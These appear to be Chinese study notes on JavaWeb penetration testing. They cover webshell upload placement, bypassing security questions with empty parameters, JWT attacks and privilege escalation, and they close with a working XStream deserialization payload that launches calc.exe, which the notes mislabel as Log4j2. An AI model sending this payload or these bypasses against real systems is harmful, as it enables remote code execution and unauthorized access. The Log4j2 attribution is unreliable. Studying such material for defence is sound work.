知识点
1、JavaWeb 常见安全及代码逻辑
和ThinkPHP框架要求的知识点类似,那就是能够通过 URL 找到对应的文件
2、目录遍历&身份验证&逻辑&JWT
目录遍历
案例一的实际应用 - 许多image文件夹可能会限制权限,不允许执行脚本,当把后门上传到image之类的目录下时,可能根本无法执行脚本,此时尝试转移上传到其他目录 ,比如根目录,总归有权限了吧
身份验证
有时会遇到多个安全验证问题, 比如这里总共有3个问题选项。
Q1 - 你的宠物叫什么名字? - Tang
Q2 - 你的父母名字?- wong
Q3 - 你的小学名字? - xiaoxue
网站在验证信息的时候可能采取的是 Q1=Tang&Q2=wong
这种传递 键名+键值的方式, 它只要验证了 Q1=Tang&Q2=wong
是正确的,就验证通过。简单来说,这里总共只有3个选项,参数Q100 Q99是不存在的,如果我抓包修改传递的内容为 Q100=&Q99= , 也就是 Q100=NULL Q99 =NULL,因为Q100 Q99本来就为空, 就有可能能够绕过验证.。 主要还是看验证的逻辑
JWT
JWT - 验证用户身份,比如是普通用户还是管理员又或者只是一个guest? 可以用来替代传统的cookie+session 验证方式
3、访问控制&安全组件&越权&三方组
java 大部分还是第三方的组件带来的漏洞
-键值逻辑:使用键名键值进行对比验证错误
-JWT 攻击:1、签名没验证空加密 2、爆破密匙 3、KID 利用
https://www.cnblogs.com/vege/p/14468030.html
#访问控制
-隐藏属性:前端页面的自慰限制显示
-水平越权:同一级别用户权限的查看
#安全组件
-联想到刚爆出的 Log4j2
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>